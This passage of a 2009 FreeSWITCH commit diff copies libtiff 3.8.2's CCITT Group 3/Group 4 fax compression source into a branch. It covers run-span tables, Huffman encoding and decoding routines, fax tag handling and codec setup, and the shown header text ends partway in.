+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,	/* 0x70 - 0x7f */
+    1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,	/* 0x80 - 0x8f */
+    1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,	/* 0x90 - 0x9f */
+    1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,	/* 0xa0 - 0xaf */
+    1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,	/* 0xb0 - 0xbf */
+    2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,	/* 0xc0 - 0xcf */
+    2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,	/* 0xd0 - 0xdf */
+    3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,	/* 0xe0 - 0xef */
+    4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 7, 8,	/* 0xf0 - 0xff */
+};
+
+/*
+ * On certain systems it pays to inline
+ * the routines that find pixel spans.
+ */
+#ifdef VAXC
+static	int32 find0span(unsigned char*, int32, int32);
+static	int32 find1span(unsigned char*, int32, int32);
+#pragma inline(find0span,find1span)
+#endif
+
+/*
+ * Find a span of ones or zeros using the supplied
+ * table.  The ``base'' of the bit string is supplied
+ * along with the start+end bit indices.
+ */
+inline static int32
+find0span(unsigned char* bp, int32 bs, int32 be)
+{
+	int32 bits = be - bs;
+	int32 n, span;
+
+	bp += bs>>3;
+	/*
+	 * Check partial byte on lhs.
+	 */
+	if (bits > 0 && (n = (bs & 7))) {
+		span = zeroruns[(*bp << n) & 0xff];
+		if (span > 8-n)		/* table value too generous */
+			span = 8-n;
+		if (span > bits)	/* constrain span to bit range */
+			span = bits;
+		if (n+span < 8)		/* doesn't extend to edge of byte */
+			return (span);
+		bits -= span;
+		bp++;
+	} else
+		span = 0;
+	if (bits >= (int32)(2 * 8 * sizeof(long))) {
+		long* lp;
+		/*
+		 * Align to longword boundary and check longwords.
+		 */
+		while (!isAligned(bp, long)) {
+			if (*bp != 0x00)
+				return (span + zeroruns[*bp]);
+			span += 8, bits -= 8;
+			bp++;
+		}
+		lp = (long*) bp;
+		while ((bits >= (int32)(8 * sizeof(long))) && (0 == *lp)) {
+			span += 8*sizeof (long), bits -= 8*sizeof (long);
+			lp++;
+		}
+		bp = (unsigned char*) lp;
+	}
+	/*
+	 * Scan full bytes for all 0's.
+	 */
+	while (bits >= 8) {
+		if (*bp != 0x00)	/* end of run */
+			return (span + zeroruns[*bp]);
+		span += 8, bits -= 8;
+		bp++;
+	}
+	/*
+	 * Check partial byte on rhs.
+	 */
+	if (bits > 0) {
+		n = zeroruns[*bp];
+		span += (n > bits ? bits : n);
+	}
+	return (span);
+}
+
+inline static int32
+find1span(unsigned char* bp, int32 bs, int32 be)
+{
+	int32 bits = be - bs;
+	int32 n, span;
+
+	bp += bs>>3;
+	/*
+	 * Check partial byte on lhs.
+	 */
+	if (bits > 0 && (n = (bs & 7))) {
+		span = oneruns[(*bp << n) & 0xff];
+		if (span > 8-n)		/* table value too generous */
+			span = 8-n;
+		if (span > bits)	/* constrain span to bit range */
+			span = bits;
+		if (n+span < 8)		/* doesn't extend to edge of byte */
+			return (span);
+		bits -= span;
+		bp++;
+	} else
+		span = 0;
+	if (bits >= (int32)(2 * 8 * sizeof(long))) {
+		long* lp;
+		/*
+		 * Align to longword boundary and check longwords.
+		 */
+		while (!isAligned(bp, long)) {
+			if (*bp != 0xff)
+				return (span + oneruns[*bp]);
+			span += 8, bits -= 8;
+			bp++;
+		}
+		lp = (long*) bp;
+		while ((bits >= (int32)(8 * sizeof(long))) && (~0 == *lp)) {
+			span += 8*sizeof (long), bits -= 8*sizeof (long);
+			lp++;
+		}
+		bp = (unsigned char*) lp;
+	}
+	/*
+	 * Scan full bytes for all 1's.
+	 */
+	while (bits >= 8) {
+		if (*bp != 0xff)	/* end of run */
+			return (span + oneruns[*bp]);
+		span += 8, bits -= 8;
+		bp++;
+	}
+	/*
+	 * Check partial byte on rhs.
+	 */
+	if (bits > 0) {
+		n = oneruns[*bp];
+		span += (n > bits ? bits : n);
+	}
+	return (span);
+}
+
+/*
+ * Return the offset of the next bit in the range
+ * [bs..be] that is different from the specified
+ * color.  The end, be, is returned if no such bit
+ * exists.
+ */
+#define	finddiff(_cp, _bs, _be, _color)	\
+	(_bs + (_color ? find1span(_cp,_bs,_be) : find0span(_cp,_bs,_be)))
+/*
+ * Like finddiff, but also check the starting bit
+ * against the end in case start > end.
+ */
+#define	finddiff2(_cp, _bs, _be, _color) \
+	(_bs < _be ? finddiff(_cp,_bs,_be,_color) : _be)
+
+/*
+ * 1d-encode a row of pixels.  The encoding is
+ * a sequence of all-white or all-black spans
+ * of pixels encoded with Huffman codes.
+ */
+static int
+Fax3Encode1DRow(TIFF* tif, unsigned char* bp, uint32 bits)
+{
+	Fax3CodecState* sp = EncoderState(tif);
+	int32 span;
+        uint32 bs = 0;
+
+	for (;;) {
+		span = find0span(bp, bs, bits);		/* white span */
+		putspan(tif, span, TIFFFaxWhiteCodes);
+		bs += span;
+		if (bs >= bits)
+			break;
+		span = find1span(bp, bs, bits);		/* black span */
+		putspan(tif, span, TIFFFaxBlackCodes);
+		bs += span;
+		if (bs >= bits)
+			break;
+	}
+	if (sp->b.mode & (FAXMODE_BYTEALIGN|FAXMODE_WORDALIGN)) {
+		if (sp->bit != 8)			/* byte-align */
+			Fax3FlushBits(tif, sp);
+		if ((sp->b.mode&FAXMODE_WORDALIGN) &&
+		    !isAligned(tif->tif_rawcp, uint16))
+			Fax3FlushBits(tif, sp);
+	}
+	return (1);
+}
+
+static const tableentry horizcode =
+    { 3, 0x1, 0 };	/* 001 */
+static const tableentry passcode =
+    { 4, 0x1, 0 };	/* 0001 */
+static const tableentry vcodes[7] = {
+    { 7, 0x03, 0 },	/* 0000 011 */
+    { 6, 0x03, 0 },	/* 0000 11 */
+    { 3, 0x03, 0 },	/* 011 */
+    { 1, 0x1, 0 },	/* 1 */
+    { 3, 0x2, 0 },	/* 010 */
+    { 6, 0x02, 0 },	/* 0000 10 */
+    { 7, 0x02, 0 }	/* 0000 010 */
+};
+
+/*
+ * 2d-encode a row of pixels.  Consult the CCITT
+ * documentation for the algorithm.
+ */
+static int
+Fax3Encode2DRow(TIFF* tif, unsigned char* bp, unsigned char* rp, uint32 bits)
+{
+#define	PIXEL(buf,ix)	((((buf)[(ix)>>3]) >> (7-((ix)&7))) & 1)
+        uint32 a0 = 0;
+	uint32 a1 = (PIXEL(bp, 0) != 0 ? 0 : finddiff(bp, 0, bits, 0));
+	uint32 b1 = (PIXEL(rp, 0) != 0 ? 0 : finddiff(rp, 0, bits, 0));
+	uint32 a2, b2;
+
+	for (;;) {
+		b2 = finddiff2(rp, b1, bits, PIXEL(rp,b1));
+		if (b2 >= a1) {
+			int32 d = b1 - a1;
+			if (!(-3 <= d && d <= 3)) {	/* horizontal mode */
+				a2 = finddiff2(bp, a1, bits, PIXEL(bp,a1));
+				putcode(tif, &horizcode);
+				if (a0+a1 == 0 || PIXEL(bp, a0) == 0) {
+					putspan(tif, a1-a0, TIFFFaxWhiteCodes);
+					putspan(tif, a2-a1, TIFFFaxBlackCodes);
+				} else {
+					putspan(tif, a1-a0, TIFFFaxBlackCodes);
+					putspan(tif, a2-a1, TIFFFaxWhiteCodes);
+				}
+				a0 = a2;
+			} else {			/* vertical mode */
+				putcode(tif, &vcodes[d+3]);
+				a0 = a1;
+			}
+		} else {				/* pass mode */
+			putcode(tif, &passcode);
+			a0 = b2;
+		}
+		if (a0 >= bits)
+			break;
+		a1 = finddiff(bp, a0, bits, PIXEL(bp,a0));
+		b1 = finddiff(rp, a0, bits, !PIXEL(bp,a0));
+		b1 = finddiff(rp, b1, bits, PIXEL(bp,a0));
+	}
+	return (1);
+#undef PIXEL
+}
+
+/*
+ * Encode a buffer of pixels.
+ */
+static int
+Fax3Encode(TIFF* tif, tidata_t bp, tsize_t cc, tsample_t s)
+{
+	Fax3CodecState* sp = EncoderState(tif);
+
+	(void) s;
+	while ((long)cc > 0) {
+		if ((sp->b.mode & FAXMODE_NOEOL) == 0)
+			Fax3PutEOL(tif);
+		if (is2DEncoding(sp)) {
+			if (sp->tag == G3_1D) {
+				if (!Fax3Encode1DRow(tif, bp, sp->b.rowpixels))
+					return (0);
+				sp->tag = G3_2D;
+			} else {
+				if (!Fax3Encode2DRow(tif, bp, sp->refline,
+                                                     sp->b.rowpixels))
+					return (0);
+				sp->k--;
+			}
+			if (sp->k == 0) {
+				sp->tag = G3_1D;
+				sp->k = sp->maxk-1;
+			} else
+				_TIFFmemcpy(sp->refline, bp, sp->b.rowbytes);
+		} else {
+			if (!Fax3Encode1DRow(tif, bp, sp->b.rowpixels))
+				return (0);
+		}
+		bp += sp->b.rowbytes;
+		cc -= sp->b.rowbytes;
+	}
+	return (1);
+}
+
+static int
+Fax3PostEncode(TIFF* tif)
+{
+	Fax3CodecState* sp = EncoderState(tif);
+
+	if (sp->bit != 8)
+		Fax3FlushBits(tif, sp);
+	return (1);
+}
+
+static void
+Fax3Close(TIFF* tif)
+{
+	if ((Fax3State(tif)->mode & FAXMODE_NORTC) == 0) {
+		Fax3CodecState* sp = EncoderState(tif);
+		unsigned int code = EOL;
+		unsigned int length = 12;
+		int i;
+
+		if (is2DEncoding(sp))
+			code = (code<<1) | (sp->tag == G3_1D), length++;
+		for (i = 0; i < 6; i++)
+			Fax3PutBits(tif, code, length);
+		Fax3FlushBits(tif, sp);
+	}
+}
+
+static void
+Fax3Cleanup(TIFF* tif)
+{
+	Fax3CodecState* sp = DecoderState(tif);
+	
+	assert(sp != 0);
+
+	tif->tif_tagmethods.vgetfield = sp->b.vgetparent;
+	tif->tif_tagmethods.vsetfield = sp->b.vsetparent;
+
+	if (sp->runs)
+		_TIFFfree(sp->runs);
+	if (sp->refline)
+		_TIFFfree(sp->refline);
+
+	if (Fax3State(tif)->subaddress)
+		_TIFFfree(Fax3State(tif)->subaddress);
+	_TIFFfree(tif->tif_data);
+	tif->tif_data = NULL;
+
+	_TIFFSetDefaultCompressionState(tif);
+}
+
+#define	FIELD_BADFAXLINES	(FIELD_CODEC+0)
+#define	FIELD_CLEANFAXDATA	(FIELD_CODEC+1)
+#define	FIELD_BADFAXRUN		(FIELD_CODEC+2)
+#define	FIELD_RECVPARAMS	(FIELD_CODEC+3)
+#define	FIELD_SUBADDRESS	(FIELD_CODEC+4)
+#define	FIELD_RECVTIME		(FIELD_CODEC+5)
+#define	FIELD_FAXDCS		(FIELD_CODEC+6)
+
+#define	FIELD_OPTIONS		(FIELD_CODEC+7)
+
+static const TIFFFieldInfo faxFieldInfo[] = {
+    { TIFFTAG_FAXMODE,		 0, 0,	TIFF_ANY,	FIELD_PSEUDO,
+      FALSE,	FALSE,	"FaxMode" },
+    { TIFFTAG_FAXFILLFUNC,	 0, 0,	TIFF_ANY,	FIELD_PSEUDO,
+      FALSE,	FALSE,	"FaxFillFunc" },
+    { TIFFTAG_BADFAXLINES,	 1, 1,	TIFF_LONG,	FIELD_BADFAXLINES,
+      TRUE,	FALSE,	"BadFaxLines" },
+    { TIFFTAG_BADFAXLINES,	 1, 1,	TIFF_SHORT,	FIELD_BADFAXLINES,
+      TRUE,	FALSE,	"BadFaxLines" },
+    { TIFFTAG_CLEANFAXDATA,	 1, 1,	TIFF_SHORT,	FIELD_CLEANFAXDATA,
+      TRUE,	FALSE,	"CleanFaxData" },
+    { TIFFTAG_CONSECUTIVEBADFAXLINES,1,1, TIFF_LONG,	FIELD_BADFAXRUN,
+      TRUE,	FALSE,	"ConsecutiveBadFaxLines" },
+    { TIFFTAG_CONSECUTIVEBADFAXLINES,1,1, TIFF_SHORT,	FIELD_BADFAXRUN,
+      TRUE,	FALSE,	"ConsecutiveBadFaxLines" },
+    { TIFFTAG_FAXRECVPARAMS,	 1, 1, TIFF_LONG,	FIELD_RECVPARAMS,
+      TRUE,	FALSE,	"FaxRecvParams" },
+    { TIFFTAG_FAXSUBADDRESS,	-1,-1, TIFF_ASCII,	FIELD_SUBADDRESS,
+      TRUE,	FALSE,	"FaxSubAddress" },
+    { TIFFTAG_FAXRECVTIME,	 1, 1, TIFF_LONG,	FIELD_RECVTIME,
+      TRUE,	FALSE,	"FaxRecvTime" },
+    { TIFFTAG_FAXDCS,		-1,-1, TIFF_ASCII,	FIELD_FAXDCS,
+      TRUE,	FALSE,	"FaxDcs" },
+};
+static const TIFFFieldInfo fax3FieldInfo[] = {
+    { TIFFTAG_GROUP3OPTIONS,	 1, 1,	TIFF_LONG,	FIELD_OPTIONS,
+      FALSE,	FALSE,	"Group3Options" },
+};
+static const TIFFFieldInfo fax4FieldInfo[] = {
+    { TIFFTAG_GROUP4OPTIONS,	 1, 1,	TIFF_LONG,	FIELD_OPTIONS,
+      FALSE,	FALSE,	"Group4Options" },
+};
+#define	N(a)	(sizeof (a) / sizeof (a[0]))
+
+static int
+Fax3VSetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+	Fax3BaseState* sp = Fax3State(tif);
+
+	assert(sp != 0);
+	assert(sp->vsetparent != 0);
+
+	switch (tag) {
+	case TIFFTAG_FAXMODE:
+		sp->mode = va_arg(ap, int);
+		return (1);			/* NB: pseudo tag */
+	case TIFFTAG_FAXFILLFUNC:
+		DecoderState(tif)->fill = va_arg(ap, TIFFFaxFillFunc);
+		return (1);			/* NB: pseudo tag */
+	case TIFFTAG_GROUP3OPTIONS:
+		/* XXX: avoid reading options if compression mismatches. */
+		if (tif->tif_dir.td_compression == COMPRESSION_CCITTFAX3)
+			sp->groupoptions = va_arg(ap, uint32);
+		break;
+	case TIFFTAG_GROUP4OPTIONS:
+		/* XXX: avoid reading options if compression mismatches. */
+		if (tif->tif_dir.td_compression == COMPRESSION_CCITTFAX4)
+			sp->groupoptions = va_arg(ap, uint32);
+		break;
+	case TIFFTAG_BADFAXLINES:
+		sp->badfaxlines = va_arg(ap, uint32);
+		break;
+	case TIFFTAG_CLEANFAXDATA:
+		sp->cleanfaxdata = (uint16) va_arg(ap, int);
+		break;
+	case TIFFTAG_CONSECUTIVEBADFAXLINES:
+		sp->badfaxrun = va_arg(ap, uint32);
+		break;
+	case TIFFTAG_FAXRECVPARAMS:
+		sp->recvparams = va_arg(ap, uint32);
+		break;
+	case TIFFTAG_FAXSUBADDRESS:
+		_TIFFsetString(&sp->subaddress, va_arg(ap, char*));
+		break;
+	case TIFFTAG_FAXRECVTIME:
+		sp->recvtime = va_arg(ap, uint32);
+		break;
+	case TIFFTAG_FAXDCS:
+		_TIFFsetString(&sp->faxdcs, va_arg(ap, char*));
+		break;
+	default:
+		return (*sp->vsetparent)(tif, tag, ap);
+	}
+	TIFFSetFieldBit(tif, _TIFFFieldWithTag(tif, tag)->field_bit);
+	tif->tif_flags |= TIFF_DIRTYDIRECT;
+	return (1);
+}
+
+static int
+Fax3VGetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+	Fax3BaseState* sp = Fax3State(tif);
+
+	switch (tag) {
+	case TIFFTAG_FAXMODE:
+		*va_arg(ap, int*) = sp->mode;
+		break;
+	case TIFFTAG_FAXFILLFUNC:
+		*va_arg(ap, TIFFFaxFillFunc*) = DecoderState(tif)->fill;
+		break;
+	case TIFFTAG_GROUP3OPTIONS:
+	case TIFFTAG_GROUP4OPTIONS:
+		*va_arg(ap, uint32*) = sp->groupoptions;
+		break;
+	case TIFFTAG_BADFAXLINES:
+		*va_arg(ap, uint32*) = sp->badfaxlines;
+		break;
+	case TIFFTAG_CLEANFAXDATA:
+		*va_arg(ap, uint16*) = sp->cleanfaxdata;
+		break;
+	case TIFFTAG_CONSECUTIVEBADFAXLINES:
+		*va_arg(ap, uint32*) = sp->badfaxrun;
+		break;
+	case TIFFTAG_FAXRECVPARAMS:
+		*va_arg(ap, uint32*) = sp->recvparams;
+		break;
+	case TIFFTAG_FAXSUBADDRESS:
+		*va_arg(ap, char**) = sp->subaddress;
+		break;
+	case TIFFTAG_FAXRECVTIME:
+		*va_arg(ap, uint32*) = sp->recvtime;
+		break;
+	case TIFFTAG_FAXDCS:
+		*va_arg(ap, char**) = sp->faxdcs;
+		break;
+	default:
+		return (*sp->vgetparent)(tif, tag, ap);
+	}
+	return (1);
+}
+
+static void
+Fax3PrintDir(TIFF* tif, FILE* fd, long flags)
+{
+	Fax3BaseState* sp = Fax3State(tif);
+
+	(void) flags;
+	if (TIFFFieldSet(tif,FIELD_OPTIONS)) {
+		const char* sep = " ";
+		if (tif->tif_dir.td_compression == COMPRESSION_CCITTFAX4) {
+			fprintf(fd, "  Group 4 Options:");
+			if (sp->groupoptions & GROUP4OPT_UNCOMPRESSED)
+				fprintf(fd, "%suncompressed data", sep);
+		} else {
+
+			fprintf(fd, "  Group 3 Options:");
+			if (sp->groupoptions & GROUP3OPT_2DENCODING)
+				fprintf(fd, "%s2-d encoding", sep), sep = "+";
+			if (sp->groupoptions & GROUP3OPT_FILLBITS)
+				fprintf(fd, "%sEOL padding", sep), sep = "+";
+			if (sp->groupoptions & GROUP3OPT_UNCOMPRESSED)
+				fprintf(fd, "%suncompressed data", sep);
+		}
+		fprintf(fd, " (%lu = 0x%lx)\n",
+                        (unsigned long) sp->groupoptions,
+                        (unsigned long) sp->groupoptions);
+	}
+	if (TIFFFieldSet(tif,FIELD_CLEANFAXDATA)) {
+		fprintf(fd, "  Fax Data:");
+		switch (sp->cleanfaxdata) {
+		case CLEANFAXDATA_CLEAN:
+			fprintf(fd, " clean");
+			break;
+		case CLEANFAXDATA_REGENERATED:
+			fprintf(fd, " receiver regenerated");
+			break;
+		case CLEANFAXDATA_UNCLEAN:
+			fprintf(fd, " uncorrected errors");
+			break;
+		}
+		fprintf(fd, " (%u = 0x%x)\n",
+		    sp->cleanfaxdata, sp->cleanfaxdata);
+	}
+	if (TIFFFieldSet(tif,FIELD_BADFAXLINES))
+		fprintf(fd, "  Bad Fax Lines: %lu\n",
+                        (unsigned long) sp->badfaxlines);
+	if (TIFFFieldSet(tif,FIELD_BADFAXRUN))
+		fprintf(fd, "  Consecutive Bad Fax Lines: %lu\n",
+		    (unsigned long) sp->badfaxrun);
+	if (TIFFFieldSet(tif,FIELD_RECVPARAMS))
+		fprintf(fd, "  Fax Receive Parameters: %08lx\n",
+		   (unsigned long) sp->recvparams);
+	if (TIFFFieldSet(tif,FIELD_SUBADDRESS))
+		fprintf(fd, "  Fax SubAddress: %s\n", sp->subaddress);
+	if (TIFFFieldSet(tif,FIELD_RECVTIME))
+		fprintf(fd, "  Fax Receive Time: %lu secs\n",
+		    (unsigned long) sp->recvtime);
+	if (TIFFFieldSet(tif,FIELD_FAXDCS))
+		fprintf(fd, "  Fax DCS: %s\n", sp->faxdcs);
+}
+
+static int
+InitCCITTFax3(TIFF* tif)
+{
+	Fax3BaseState* sp;
+
+	/*
+	 * Allocate state block so tag methods have storage to record values.
+	 */
+	tif->tif_data = (tidata_t)
+		_TIFFmalloc(sizeof (Fax3CodecState));
+
+	if (tif->tif_data == NULL) {
+		TIFFErrorExt(tif->tif_clientdata, "TIFFInitCCITTFax3",
+		    "%s: No space for state block", tif->tif_name);
+		return (0);
+	}
+
+	sp = Fax3State(tif);
+        sp->rw_mode = tif->tif_mode;
+
+	/*
+	 * Merge codec-specific tag information and
+	 * override parent get/set field methods.
+	 */
+	_TIFFMergeFieldInfo(tif, faxFieldInfo, N(faxFieldInfo));
+	sp->vgetparent = tif->tif_tagmethods.vgetfield;
+	tif->tif_tagmethods.vgetfield = Fax3VGetField; /* hook for codec tags */
+	sp->vsetparent = tif->tif_tagmethods.vsetfield;
+	tif->tif_tagmethods.vsetfield = Fax3VSetField; /* hook for codec tags */
+	tif->tif_tagmethods.printdir = Fax3PrintDir;   /* hook for codec tags */
+	sp->groupoptions = 0;	
+	sp->recvparams = 0;
+	sp->subaddress = NULL;
+	sp->faxdcs = NULL;
+
+	if (sp->rw_mode == O_RDONLY) /* FIXME: improve for in place update */
+		tif->tif_flags |= TIFF_NOBITREV; /* decoder does bit reversal */
+	DecoderState(tif)->runs = NULL;
+	TIFFSetField(tif, TIFFTAG_FAXFILLFUNC, _TIFFFax3fillruns);
+	EncoderState(tif)->refline = NULL;
+
+	/*
+	 * Install codec methods.
+	 */
+	tif->tif_setupdecode = Fax3SetupState;
+	tif->tif_predecode = Fax3PreDecode;
+	tif->tif_decoderow = Fax3Decode1D;
+	tif->tif_decodestrip = Fax3Decode1D;
+	tif->tif_decodetile = Fax3Decode1D;
+	tif->tif_setupencode = Fax3SetupState;
+	tif->tif_preencode = Fax3PreEncode;
+	tif->tif_postencode = Fax3PostEncode;
+	tif->tif_encoderow = Fax3Encode;
+	tif->tif_encodestrip = Fax3Encode;
+	tif->tif_encodetile = Fax3Encode;
+	tif->tif_close = Fax3Close;
+	tif->tif_cleanup = Fax3Cleanup;
+
+	return (1);
+}
+
+int
+TIFFInitCCITTFax3(TIFF* tif, int scheme)
+{
+	(void) scheme;
+	if (InitCCITTFax3(tif)) {
+		_TIFFMergeFieldInfo(tif, fax3FieldInfo, N(fax3FieldInfo));
+
+		/*
+		 * The default format is Class/F-style w/o RTC.
+		 */
+		return TIFFSetField(tif, TIFFTAG_FAXMODE, FAXMODE_CLASSF);
+	} else
+		return (0);
+}
+
+/*
+ * CCITT Group 4 (T.6) Facsimile-compatible
+ * Compression Scheme Support.
+ */
+
+#define	SWAP(t,a,b)	{ t x; x = (a); (a) = (b); (b) = x; }
+/*
+ * Decode the requested amount of G4-encoded data.
+ */
+static int
+Fax4Decode(TIFF* tif, tidata_t buf, tsize_t occ, tsample_t s)
+{
+	DECLARE_STATE_2D(tif, sp, "Fax4Decode");
+        int line = 0;
+
+	(void) s;
+	CACHE_STATE(tif, sp);
+	while ((long)occ > 0) {
+		a0 = 0;
+		RunLength = 0;
+		pa = thisrun = sp->curruns;
+		pb = sp->refruns;
+		b1 = *pb++;
+#ifdef FAX3_DEBUG
+		printf("\nBitAcc=%08X, BitsAvail = %d\n", BitAcc, BitsAvail);
+		printf("-------------------- %d\n", tif->tif_row);
+		fflush(stdout);
+#endif
+		EXPAND2D(EOFG4);
+                if (EOLcnt)
+                    goto EOFG4;
+		(*sp->fill)(buf, thisrun, pa, lastx);
+		SETVALUE(0);		/* imaginary change for reference */
+		SWAP(uint32*, sp->curruns, sp->refruns);
+		buf += sp->b.rowbytes;
+		occ -= sp->b.rowbytes;
+                line++;
+		continue;
+	EOFG4:
+                NeedBits16( 13, BADG4 );
+        BADG4:
+#ifdef FAX3_DEBUG
+                if( GetBits(13) != 0x1001 )
+                    fputs( "Bad RTC\n", stderr );
+#endif                
+                ClrBits( 13 );
+		(*sp->fill)(buf, thisrun, pa, lastx);
+		UNCACHE_STATE(tif, sp);
+		return (-1);
+	}
+	UNCACHE_STATE(tif, sp);
+	return (1);
+}
+#undef	SWAP
+
+/*
+ * Encode the requested amount of data.
+ */
+static int
+Fax4Encode(TIFF* tif, tidata_t bp, tsize_t cc, tsample_t s)
+{
+	Fax3CodecState *sp = EncoderState(tif);
+
+	(void) s;
+	while ((long)cc > 0) {
+		if (!Fax3Encode2DRow(tif, bp, sp->refline, sp->b.rowpixels))
+			return (0);
+		_TIFFmemcpy(sp->refline, bp, sp->b.rowbytes);
+		bp += sp->b.rowbytes;
+		cc -= sp->b.rowbytes;
+	}
+	return (1);
+}
+
+static int
+Fax4PostEncode(TIFF* tif)
+{
+	Fax3CodecState *sp = EncoderState(tif);
+
+	/* terminate strip w/ EOFB */
+	Fax3PutBits(tif, EOL, 12);
+	Fax3PutBits(tif, EOL, 12);
+	if (sp->bit != 8)
+		Fax3FlushBits(tif, sp);
+	return (1);
+}
+
+int
+TIFFInitCCITTFax4(TIFF* tif, int scheme)
+{
+	(void) scheme;
+	if (InitCCITTFax3(tif)) {		/* reuse G3 support */
+		_TIFFMergeFieldInfo(tif, fax4FieldInfo, N(fax4FieldInfo));
+
+		tif->tif_decoderow = Fax4Decode;
+		tif->tif_decodestrip = Fax4Decode;
+		tif->tif_decodetile = Fax4Decode;
+		tif->tif_encoderow = Fax4Encode;
+		tif->tif_encodestrip = Fax4Encode;
+		tif->tif_encodetile = Fax4Encode;
+		tif->tif_postencode = Fax4PostEncode;
+		/*
+		 * Suppress RTC at the end of each strip.
+		 */
+		return TIFFSetField(tif, TIFFTAG_FAXMODE, FAXMODE_NORTC);
+	} else
+		return (0);
+}
+
+/*
+ * CCITT Group 3 1-D Modified Huffman RLE Compression Support.
+ * (Compression algorithms 2 and 32771)
+ */
+
+/*
+ * Decode the requested amount of RLE-encoded data.
+ */
+static int
+Fax3DecodeRLE(TIFF* tif, tidata_t buf, tsize_t occ, tsample_t s)
+{
+	DECLARE_STATE(tif, sp, "Fax3DecodeRLE");
+	int mode = sp->b.mode;
+        int line = 0;
+
+	(void) s;
+	CACHE_STATE(tif, sp);
+	thisrun = sp->curruns;
+	while ((long)occ > 0) {
+		a0 = 0;
+		RunLength = 0;
+		pa = thisrun;
+#ifdef FAX3_DEBUG
+		printf("\nBitAcc=%08X, BitsAvail = %d\n", BitAcc, BitsAvail);
+		printf("-------------------- %d\n", tif->tif_row);
+		fflush(stdout);
+#endif
+		EXPAND1D(EOFRLE);
+		(*sp->fill)(buf, thisrun, pa, lastx);
+		/*
+		 * Cleanup at the end of the row.
+		 */
+		if (mode & FAXMODE_BYTEALIGN) {
+			int n = BitsAvail - (BitsAvail &~ 7);
+			ClrBits(n);
+		} else if (mode & FAXMODE_WORDALIGN) {
+			int n = BitsAvail - (BitsAvail &~ 15);
+			ClrBits(n);
+			if (BitsAvail == 0 && !isAligned(cp, uint16))
+			    cp++;
+		}
+		buf += sp->b.rowbytes;
+		occ -= sp->b.rowbytes;
+                line++;
+		continue;
+	EOFRLE:				/* premature EOF */
+		(*sp->fill)(buf, thisrun, pa, lastx);
+		UNCACHE_STATE(tif, sp);
+		return (-1);
+	}
+	UNCACHE_STATE(tif, sp);
+	return (1);
+}
+
+int
+TIFFInitCCITTRLE(TIFF* tif, int scheme)
+{
+	(void) scheme;
+	if (InitCCITTFax3(tif)) {		/* reuse G3 support */
+		tif->tif_decoderow = Fax3DecodeRLE;
+		tif->tif_decodestrip = Fax3DecodeRLE;
+		tif->tif_decodetile = Fax3DecodeRLE;
+		/*
+		 * Suppress RTC+EOLs when encoding and byte-align data.
+		 */
+		return TIFFSetField(tif, TIFFTAG_FAXMODE,
+		    FAXMODE_NORTC|FAXMODE_NOEOL|FAXMODE_BYTEALIGN);
+	} else
+		return (0);
+}
+
+int
+TIFFInitCCITTRLEW(TIFF* tif, int scheme)
+{
+	(void) scheme;
+	if (InitCCITTFax3(tif)) {		/* reuse G3 support */
+		tif->tif_decoderow = Fax3DecodeRLE;
+		tif->tif_decodestrip = Fax3DecodeRLE;
+		tif->tif_decodetile = Fax3DecodeRLE;
+		/*
+		 * Suppress RTC+EOLs when encoding and word-align data.
+		 */
+		return TIFFSetField(tif, TIFFTAG_FAXMODE,
+		    FAXMODE_NORTC|FAXMODE_NOEOL|FAXMODE_WORDALIGN);
+	} else
+		return (0);
+}
+#endif /* CCITT_SUPPORT */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_fax3.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_fax3.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_fax3.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_fax3.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_fax3.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,525 @@
+/* $Id: tif_fax3.h,v 1.5 2005/12/12 09:23:11 dron Exp $ */
+
+/*
+ * Copyright (c) 1990-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#ifndef _FAX3_
+#define	_FAX3_
+/*
+ * TIFF Library.
+ *
+ * CCITT Group 3 (T.4) and Group 4 (T.6) Decompression Support.
+ *
+ * Decoder support is derived, with permission, from the code
+ * in Frank Cringle's viewfax program;
+ *      Copyright (C) 1990, 1995  Frank D. Cringle.
+ */
+#include "tiff.h"
+
+/*
